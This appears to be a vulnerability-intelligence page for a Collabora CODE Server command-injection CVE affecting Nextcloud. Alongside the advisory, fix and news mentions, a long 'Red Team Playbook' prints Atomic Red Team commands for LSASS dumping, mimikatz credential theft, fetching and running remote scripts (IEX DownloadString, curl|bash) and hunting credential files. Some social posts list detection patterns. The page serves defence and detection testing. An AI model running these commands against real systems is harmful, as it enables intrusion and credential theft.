CVE-2026-110447
Overview
This vulnerability is an OS command injection rooted in improper input handling within the proxy.php component of the Collabora Online built-in CODE Server. The flaw arises when the CODE Server is not running, allowing crafted input to be injected into system-level commands executed by the proxy script. This issue specifically affects the Nextcloud app integration of the built-in CODE Server and does not impact standalone Collabora Online server deployments.
Vulnerability Description
Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected.
Impact
An unauthenticated attacker can execute arbitrary operating system commands remotely by exploiting this injection flaw, gaining full control over the affected server environment. No user interaction or privileges are required to trigger the vulnerability. Successful exploitation can result in complete system compromise, data exposure, and potential lateral movement within the network hosting the Nextcloud instance with the vulnerable CODE Server integration.
Solution
Users of the Collabora Online built-in CODE Server should upgrade to version 26.4.303 or later as specified in the Nextcloud vendor advisory (https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516). The advisory provides detailed patching instructions and recommends immediate update to mitigate active exploitation. No alternative workarounds are documented; applying the vendor-provided patch is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Collabora | Collabora Online - Built-In Code Server | All |
cpe:2.3:a:collabora:collabora_online_-_built-in_code_server:*:*:*:*:*:nextcloud:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
CyRouteWolf/cve-2026-110447-poc
|
CyRouteWolf | 2 | 0 | 2026-10-29 | View |
|
adriyansyah-mf/cve-2026-110447
|
adriyansyah-mf | 0 | 1 | 2026-10-14 | View |
|
maxprog-svg/CVE-2026-110447
CVE-2026-110447 — Collabora Online "Built-in CODE Server"
|
maxprog-svg | 0 | 0 | 2026-11-02 | View |
|
Iceman2050/cve-2026-110447-checker
Free CLI: check a Nextcloud instance for CVE-2026-110447 exposure. Stdlib only, honest verdicts. By Ingenious AI.
|
Iceman2050 | 0 | 0 | 2026-10-15 | View |
Threat Feed
17 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 69 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
43%
|
Medium | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
12 mentions from 10 sources in the last 7 days BuzzFactor 53 / 100
-
code github.com maxprog-svg 2026-11-02 09:09 UTCmaxprog-svg/CVE-2026-110447Open source
-
social infosec.exchange @secdb 2026-11-01 01:06 UTC📈 CVE Published in last 30 days (2026-10-01 - 2026-10-01) See more at https:// secdb.nttzen.cloud/dashboard Total CVEs: Severity: - Critical: 1496 - High: 6581 - Medium: 6261 - Low: 974 - None: 2143 Status: - : 158 - Analyzed: 3213 - Await…Open source
-
social bsky.app @gridwatchsignal.bsky.social 2026-10-30 17:13 UTCNextcloud + Collabora built-in CODE server app (CVE-2026-110447)? Attacked since Sep 10. Upgrade to 26.4.303+ or remove it (disabling isn't enough), then check: - unexpected PHP files in apps/richdocumentscode/ - proxy.php?status hits - ro…Open source
-
news neoteo.com 2026-10-30 16:51 UTCArista and Nextcloud vulnerabilities: fixes and scope - NeoTeoOpen source
-
social bsky.app @getpacketai.bsky.social 2026-10-29 18:30 UTCCritical Nextcloud flaw exploited for months before disclosure: admins need a hunting checklist for web shells and a… https://dev.to/affix_centersoftechserv/hunting-for-web-shells-after-the-nextcloud-code-flaw-cve-2026-110447-a-sysadmin-ch…Open source
-
social bsky.app @xploitdigest-kev.bsky.social 2026-10-29 17:27 UTCCVE-2026-110447 — Collabora Online – Built-in CODE Server Known to be exploited: CISA added it to its KEV catalogue on 23 Oct 2026. In plain English: reachable over a network · no login needed · nobody has to click. xploitdigest.com/kev/CV…Open source
-
social infosec.exchange @117520238006264481 2026-10-29 17:27 UTCCVE-2026-110447 — Collabora Online – Built-in CODE Server Known to be exploited: CISA added it to its KEV catalogue on 23 Oct 2026. In plain English: reachable over a network · no login needed · nobody has to click. https:// xploitdigest.c…Open source
-
social bsky.app @fc-vulns.bsky.social 2026-10-29 15:31 UTCWatch this EPSS jump. CVE-2026-110447: EPSS +61.7 (11.6 → 73.3, 0–100). Collabora CODE Server before 26.4.303 (richdocumentscode): OS command injection in proxy.php → RCE when CODE isn't running; exploited in the wild (CWE-78). https://www…Open source
-
social bsky.app @cyberdine.ch 2026-10-29 13:00 UTCNextcloud mit eingebautem Office-Server: Die Lücke wurde ab dem 10. September ausgenutzt. Die Korrektur kam am 11. September, ohne Hinweis auf Sicherheit. Die Warnung kam am 14. Oktober. https://cyberdine.ch/news/fuenf-wochen-ohne-warnungOpen source
-
code github.com CyRouteWolf 2026-10-29 10:00 UTCCyRouteWolf/cve-2026-110447-pocOpen source
-
social bsky.app @aiuto-ch.bsky.social 2026-10-28 17:05 UTCCISA KEV | CVE-2026-110447 | Collabora / Collabora Online – Built-in CODE Server CISA lists this vulnerability as exploited in the wild. Check affected products and vendor guidance. Source: CISA KEV Full analysis: https://t.me/aiutocompute…Open source
-
social infosec.exchange @117454010598045877 2026-10-28 14:56 UTCPHP "php2shell" (CVE-2026-109618/109619) is in CISA KEV and under attack: no-login code execution on PHP web servers. That includes the web UI on OPNsense, pfSense and Unraid, and PHP apps on Synology and QNAP. Update to PHP 8.5.12, 8.4.27…Open source
-
social bsky.app @trinity.sh 2026-10-27 21:10 UTCCollabora Online Built-In CODE Server RCE — CVE-2026-110447. Shell injection in proxy.php, actively exploited since September. Webshells found on Nextcloud servers. CISA just added it to KEV. https://trinity.sh/posts/2026-10-27-collabora-b…Open source
-
social bsky.app @gridwatchsignal.bsky.social 2026-10-27 17:44 UTC2) Nextcloud + Collabora built-in CODE server app (CVE-2026-110447): unauthenticated command injection, attacked since Sep 10. Upgrade richdocumentscode to 26.4.303+ or remove it; disabling isn't enough. 3) Plex2Shell: Plex says widely exp…Open source
-
social infosec.exchange @116710323468652980 2026-10-26 16:35 UTCCISA adds Collabora and Arista VeloCloud CVEs to KEV catalog 🔗 https:// cybersecurefox.com/en/cisa-kev -collabora-online-arista-velocloud-cve-2026-110447-cve-2026-114625 # CVE -2026-110447 # CVE -2026-114625 # CISA # KEV # Collabora # Onli…Open source
-
social bsky.app @trinacriatech.bsky.social 2026-10-26 14:05 UTCPillola di detection #1: Nextcloud/Collabora, CVE-2026-110447. Log web: richieste a /apps/richdocumentscode/proxy.php con %2e%2e, $( o ${IFS}. Disco: shx*.php nell'app. Sigma da testare. wz-it.com/en/blog/next...Open source
-
social bsky.app @deafnews-auto.bsky.social 2026-10-26 13:06 UTCCISA Cracks Down on Nextcloud: Three Days to Close CVE-2026-110447Open source
-
social infosec.exchange @117354334421158714 2026-10-26 10:50 UTCThreatAft Week in Review: 19–25 October 2026 12 articles. Five themes. What to act on: 🔥 Exploited: PHP2Shell (CVSS v4.0 9.2) — attempts Oct 21, investigate from Oct 17 🔥 KEV (26 Oct deadline): Arista VeloCloud CVE-2026-114625 + Collabora…Open source
-
social bsky.app @hacker.at.thenote.app 2026-10-26 04:55 UTCU.S. CISA adds Collabora Online flaw to its Known Exploited Vulnerabilities catalog U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Collabora Online flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecur…Open source
-
news neoteo.com 2026-10-26 03:11 UTCNextcloud Collabora Vulnerability: Fix 26.4.303 - NeoTeoOpen source
-
social bsky.app @forsmile.jp 2026-10-26 01:55 UTC【緊急】Nextcloud「Collabora Online - Built-in CODE Server」に深刻な脆弱性(CVE-2026-110447 / CVSS 9.2) 認証なしでOSコマンドを実行され、悪用も確認済み。 対処: 26.4.303以上へ更新するか削除(無効化では防げません)。 forsmile.jp/articles/col... #セキュリティ #CVEOpen source
-
social infosec.exchange @117390073387250778 2026-10-25 21:15 UTCWeekly roundup, Oct 19–25: - PHP2Shell CVE-2026-109618/-109619 (CVSS 9.2): fixed 8.5.12/8.4.27/8.3.36/8.2.35; probes since Oct 17. After patching, hunt new .php files in upload/cache dirs and PHP_SESSION_UPLOAD_PROGRESS POSTs - KEV: Arista…Open source
-
social bsky.app @elcompilado.com 2026-10-25 21:00 UTCCISA marca como explotadas activamente una RCE en Collabora Online y una inyección SQL en Arista VeloCloud, con plazo al 26 de octubreOpen source
-
social bsky.app @hacker.at.thenote.app 2026-10-25 14:53 UTCCISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added two vulnerabilities impacting Collabora Online Built-in CODE Server…Open source
-
news neoteo.com 2026-10-25 12:23 UTCNextcloud Collabora Flaw Added to CISA’s KEV Catalog - NeoTeoOpen source
-
